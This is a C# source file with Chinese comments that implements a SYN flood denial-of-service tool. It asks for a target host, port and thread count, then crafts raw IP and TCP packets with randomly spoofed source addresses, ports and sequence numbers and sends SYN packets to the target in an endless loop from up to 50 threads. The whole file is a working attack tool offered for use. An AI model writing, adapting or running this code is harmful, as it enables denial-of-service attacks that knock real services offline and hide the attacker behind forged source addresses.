//在工程属性中设置“允许不安全代码”为true
using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;
//需要的命名空间不用解释了吧
namespace syn
{
public struct ipHeader
{
public byte ip_verlen; //4位首部长度+4位IP版本号
public byte ip_tos; //8位服务类型TOS
public ushort ip_totallength; //16位数据包总长度（字节）
public ushort ip_id; //16位标识
public ushort ip_offset; //3位标志位
public byte ip_ttl; //8位生存时间 TTL
public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.)
public ushort ip_checksum; //16位IP首部校验和
public uint ip_srcaddr; //32位源IP地址
public uint ip_destaddr; //32位目的IP地址
}
public struct psdHeader
{
public uint saddr; //源地址
public uint daddr; //目的地址
public byte mbz;
public byte ptcl; //协议类型
public ushort tcpl; //TCP长度
}
public struct tcpHeader
{
public ushort th_sport; //16位源端口
public ushort th_dport; //16位目的端口
public int th_seq; //32位序列号
public uint th_ack; //32位确认号
public byte th_lenres; //4位首部长度/6位保留字
public byte th_flag; //6位标志位
public ushort th_win; //16位窗口大小
public ushort th_sum; //16位校验和
public ushort th_urp; //16位紧急数据偏移量
}
//这3个是ip首部tcp伪首部tcp首部的定义。
public class syn
{
private uint ip;
private ushort port;
private EndPoint ep;
private Random rand;
private Socket sock;
private ipHeader iph;
private psdHeader psh;
private tcpHeader tch;
public UInt16 checksum(UInt16[] buffer, int size)
{
Int32 cksum = 0;
int counter;
counter = 0;
while (size > 0)
{
UInt16 val = buffer[counter];
cksum += Convert.ToInt32(buffer[counter]);
counter += 1;
size -= 1;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (UInt16)(~cksum);
}
//这个使用来计算校验码的我照抄c#实现ping那文章的方法，反正ip协议计算校验码方法都一样
public syn(uint _ip, ushort _port, EndPoint _ep, Random _rand)
{
ip = _ip;
port = _port;
ep = _ep;
rand = _rand;
ipHeader iph = new ipHeader();
psh = new psdHeader();
tch = new tcpHeader();
sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1);
//这2个挺重要，必须这样才可以自己提供ip头
}
//传参数的多线程需要用到代构造函数的对象。
static void Main(string[] args)
{
Console.WriteLine("1、输入攻击ip或域名");
try
{
IPHostEntry pe = Dns.GetHostByName(Console.ReadLine());
uint ip = Convert.ToUInt32(pe.AddressList[0].Address);//这是要攻击的ip并转为网络字节序
Console.WriteLine("2、输入攻击端口");
ushort port = ushort.Parse(Console.ReadLine());
IPEndPoint ep = new IPEndPoint(pe.AddressList[0], port);
byte[] bt = BitConverter.GetBytes(port);
Array.Reverse(bt);
port = BitConverter.ToUInt16(bt, 0);
//要攻击的端口也得转为网络字节序，必须是16位0－65535，如果用hosttonetworkorder就转成32位的了，无奈这样
Console.WriteLine("3、输入攻击线程，最多50个");
int xiancheng = Int32.Parse(Console.ReadLine());
if (xiancheng < 1 || xiancheng > 50)
{
Console.WriteLine("必须在1到50之间");
return;
}
Random rand = new Random();
Thread[] t = new Thread[xiancheng];
syn[] sy = new syn[xiancheng];
for (int i = 0; i < xiancheng; i++)
{
sy[i] = new syn(ip, port, ep, rand);
t[i] = new Thread(new ThreadStart(sy[i].synFS));
t[i].Start();
}
//一个线程对应一个对象，不知多个线程对应同一个对象行不行，请指点。基础不行啊
}
catch
{
Console.WriteLine("有错误，请检查是不是连在网上，或者输入是否都正确");
return;
}
}
unsafe public void synFS()
{
iph.ip_verlen = (byte)(4 << 4 | sizeof(ipHeader) / sizeof(uint));
//ipv4，20字节ip头，这个固定就是69
iph.ip_tos = 0;
//这个0就行了
iph.ip_totallength = 0x2800;
//这个是ip头+tcp头总长，40是最小长度，不带tcp option，应该是0028但是还是网络字节序所以倒过来成了2800
iph.ip_id = 0x9B18;
//这个我是拦截ie发送。直接添上来了
iph.ip_offset = 0x40;
//这个也是拦截ie的
iph.ip_ttl = 64;
//也是拦截ie的，也可以是128什么的。
iph.ip_protocol = 6;
//6就是tcp协议
iph.ip_checksum = UInt16.Parse("0");
//没计算之前都写0
iph.ip_destaddr = ip;
//ip头的目标地址就是要攻击的地址，上面传过来的。
psh.daddr = iph.ip_destaddr;
//伪tcp首部用于校验的，上面是目的地址，和ip的那个一样。
psh.mbz = 0;
//这个据说0就行
psh.ptcl = 6;
//6是tcp协议
psh.tcpl = 0x1400;
//tcp首部的大小，20字节，应该是0014，还是字节序原因成了1400
tch.th_dport = port;
//攻击端口号，上面传过来的
tch.th_ack = 0;
//第一次发送所以没有服务器返回的序列号，为0
tch.th_lenres = (byte)((sizeof(tcpHeader) / 4 << 4 | 0));
//tcp长度
tch.th_flag = 2;
//2就是syn
tch.th_win = ushort.Parse("16614");
//拦截ie的
tch.th_sum = UInt16.Parse("0");
//没计算之前都为0
tch.th_urp = UInt16.Parse("0");
//这个连ip都是0，新的攻击方法有改这个值的
while (true)
{
iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse(rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255)).Address);
psh.saddr = iph.ip_srcaddr;
ushort duankou = Convert.ToUInt16(rand.Next(1, 65535));
byte[] bt = BitConverter.GetBytes(duankou);
Array.Reverse(bt);
tch.th_sport = BitConverter.ToUInt16(bt, 0);
tch.th_seq = IPAddress.HostToNetworkOrder((int)rand.Next(-2147483646, 2147483646));
//上面用随机种子随机产生源ip源端口和tcp序列号并转为网络字节序
iph.ip_checksum = 0;
tch.th_sum = 0;
//因为循环中，所以每次必须把这2个已有数的清0才可计算
byte[] psh_buf = new byte[sizeof(psdHeader)];
Int32 index = 0;
index = pshto(psh, psh_buf, sizeof(psdHeader));
if (index == -1)
{
Console.WriteLine("构造tcp伪首部错误");
return;
}
index = 0;
byte[] tch_buf = new byte[sizeof(tcpHeader)];
index = tchto(tch, tch_buf, sizeof(tcpHeader));
if (index == -1)
{
Console.WriteLine("构造tcp首部错误1");
return;
}
index = 0;
byte[] tcphe = new byte[sizeof(psdHeader) + sizeof(tcpHeader)];
Array.Copy(psh_buf, 0, tcphe, index, psh_buf.Length);
index += psh_buf.Length;
Array.Copy(tch_buf, 0, tcphe, index, tch_buf.Length);
index += tch_buf.Length;
tch.th_sum = chec(tcphe, index);
index = 0;
index = tchto(tch, tch_buf, sizeof(tcpHeader));
if (index == -1)
{
Console.WriteLine("构造tcp首部错误2");
return;
}
index = 0;
byte[] ip_buf = new byte[sizeof(ipHeader)];
index = ipto(iph, ip_buf, sizeof(ipHeader));
if (index == -1)
{
Console.WriteLine("构造ip首部错误1");
return;
}
index = 0;
byte[] iptcp = new byte[sizeof(ipHeader) + sizeof(tcpHeader)];
Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);
index += ip_buf.Length;
Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);
index += tch_buf.Length;
iph.ip_checksum = chec(iptcp, index);
index = 0;
index = ipto(iph, ip_buf, sizeof(tcpHeader));
if (index == -1)
{
Console.WriteLine("构造ip首部错误2");
return;
}
index = 0;
Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);
index += ip_buf.Length;
Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);
index += tch_buf.Length;
if (iptcp.Length != (sizeof(ipHeader) + sizeof(tcpHeader)))
{
Console.WriteLine("构造iptcp报文错误");
return;
}
//上面这一大堆东西就是计算校验和的方法了，方法是
//1、建立一个字节数组，前面放tcp伪首部后面放tcp首部，然后计算，确定最终tcp部分的校验和
//2、把确定了校验和地tcp首部重新生成字节数组，这是就不加tcp伪首部了，所以工20字节
//3、建40字节字节数组，前面放ip首部，后面放tcp首部，校验，确定最终ip部分校验和
//4、最后把确定了ip校验和的ip部分和tcp部分先后放入40字节的字节数组中，就是要发送的buffer[]了，就是这么麻烦
try
{
sock.SendTo(iptcp, ep);
//构造发送字节数组总是麻烦，发送就简单了，socket.sendto就可以了
}
catch
{
Console.WriteLine("发送错误");
return;
}
}
}
public UInt16 chec(byte[] buffer, int size)
{
Double double_length = Convert.ToDouble(size);
Double dtemp = Math.Ceiling(double_length / 2);
int cksum_buffer_length = Convert.ToInt32(dtemp);
UInt16[] cksum_buffer = new UInt16[cksum_buffer_length];
int icmp_header_buffer_index = 0;
for (int i = 0; i < cksum_buffer_length; i++)
{
cksum_buffer[i] =
BitConverter.ToUInt16(buffer, icmp_header_buffer_index);
icmp_header_buffer_index += 2;
}
UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length);
return u_cksum;
}
//这个是计算校验，把那些类型不一样的全转为16位字节数组用的
public Int32 ipto(ipHeader iph, byte[] Buffer, int size)
{
Int32 rtn = 0;
int index = 0;
byte[] b_verlen = new byte[1];
b_verlen[0] = iph.ip_verlen;
byte[] b_tos = new byte[1];
b_tos[0] = iph.ip_tos;
byte[] b_totallen = BitConverter.GetBytes(iph.ip_totallength);
byte[] b_id = BitConverter.GetBytes(iph.ip_id);
byte[] b_offset = BitConverter.GetBytes(iph.ip_offset);
byte[] b_ttl = new byte[1];
b_ttl[0] = iph.ip_ttl;
byte[] b_protol = new byte[1];
b_protol[0] = iph.ip_protocol;
byte[] b_checksum = BitConverter.GetBytes(iph.ip_checksum);
byte[] b_srcaddr = BitConverter.GetBytes(iph.ip_srcaddr);
byte[] b_destaddr = BitConverter.GetBytes(iph.ip_destaddr);
Array.Copy(b_verlen, 0, Buffer, index, b_verlen.Length);
index += b_verlen.Length;
Array.Copy(b_tos, 0, Buffer, index, b_tos.Length);
index += b_tos.Length;
Array.Copy(b_totallen, 0, Buffer, index, b_totallen.Length);
index += b_totallen.Length;
Array.Copy(b_id, 0, Buffer, index, b_id.Length);
index += b_id.Length;
Array.Copy(b_offset, 0, Buffer, index, b_offset.Length);
index += b_offset.Length;
Array.Copy(b_ttl, 0, Buffer, index, b_ttl.Length);
index += b_ttl.Length;
Array.Copy(b_protol, 0, Buffer, index, b_protol.Length);
index += b_protol.Length;
Array.Copy(b_checksum, 0, Buffer, index, b_checksum.Length);
index += b_checksum.Length;
Array.Copy(b_srcaddr, 0, Buffer, index, b_srcaddr.Length);
index += b_srcaddr.Length;
Array.Copy(b_destaddr, 0, Buffer, index, b_destaddr.Length);
index += b_destaddr.Length;
if (index != size/* sizeof(IcmpPacket) */)
{
rtn = -1;
return rtn;
}
rtn = index;
return rtn;
}
//这个是把ip部分转为字节数组用的
public Int32 pshto(psdHeader psh, byte[] buffer, int size)
{
Int32 rtn;
int index = 0;
byte[] b_psh_saddr = BitConverter.GetBytes(psh.saddr);
byte[] b_psh_daddr = BitConverter.GetBytes(psh.daddr);
byte[] b_psh_mbz = new byte[1];
b_psh_mbz[0] = psh.mbz;
byte[] b_psh_ptcl = new byte[1];
b_psh_ptcl[0] = psh.ptcl;
byte[] b_psh_tcpl = BitConverter.GetBytes(psh.tcpl);
Array.Copy(b_psh_saddr, 0, buffer, index, b_psh_saddr.Length);
index += b_psh_saddr.Length;
Array.Copy(b_psh_daddr, 0, buffer, index, b_psh_daddr.Length);
index += b_psh_daddr.Length;
Array.Copy(b_psh_mbz, 0, buffer, index, b_psh_mbz.Length);
index += b_psh_mbz.Length;
Array.Copy(b_psh_ptcl, 0, buffer, index, b_psh_ptcl.Length);
index += b_psh_ptcl.Length;
Array.Copy(b_psh_tcpl, 0, buffer, index, b_psh_tcpl.Length);
index += b_psh_tcpl.Length;
if (index != size)
{
rtn = -1;
return rtn;
}
else
{
rtn = index;
return rtn;
}
}
//这个是把tcp伪首部转为字节数组用的
public Int32 tchto(tcpHeader tch, byte[] buffer, int size)
{
Int32 rtn;
int index = 0;
byte[] b_tch_sport = BitConverter.GetBytes(tch.th_sport);
byte[] b_tch_dport = BitConverter.GetBytes(tch.th_dport);
byte[] b_tch_seq = BitConverter.GetBytes(tch.th_seq);
byte[] b_tch_ack = BitConverter.GetBytes(tch.th_ack);
byte[] b_tch_lenres = new byte[1];
b_tch_lenres[0] = tch.th_lenres;
byte[] b_tch_flag = new byte[1];
b_tch_flag[0] = tch.th_flag;
byte[] b_tch_win = BitConverter.GetBytes(tch.th_win);
byte[] b_tch_sum = BitConverter.GetBytes(tch.th_sum);
byte[] b_tch_urp = BitConverter.GetBytes(tch.th_urp);
Array.Copy(b_tch_sport, 0, buffer, index, b_tch_sport.Length);
index += b_tch_sport.Length;
Array.Copy(b_tch_dport, 0, buffer, index, b_tch_dport.Length);
index += b_tch_dport.Length;
Array.Copy(b_tch_seq, 0, buffer, index, b_tch_seq.Length);
index += b_tch_seq.Length;
Array.Copy(b_tch_ack, 0, buffer, index, b_tch_ack.Length);
index += b_tch_ack.Length;
Array.Copy(b_tch_lenres, 0, buffer, index, b_tch_lenres.Length);
index += b_tch_lenres.Length;
Array.Copy(b_tch_flag, 0, buffer, index, b_tch_flag.Length);
index += b_tch_flag.Length;
Array.Copy(b_tch_win, 0, buffer, index, b_tch_win.Length);
index += b_tch_win.Length;
Array.Copy(b_tch_sum, 0, buffer, index, b_tch_sum.Length);
index += b_tch_sum.Length;
Array.Copy(b_tch_urp, 0, buffer, index, b_tch_urp.Length);
index += b_tch_urp.Length;
if (index != size)
{
rtn = -1;
return rtn;
}
else
{
rtn = index;
return rtn;
}
}
//这个是把tcp部分转为字节数组用的，因为这个要用到2次就不把这个和伪首部放一块了。
}
}
//最后，本代码校验部分的方法参考了用c#实现ping程序的文章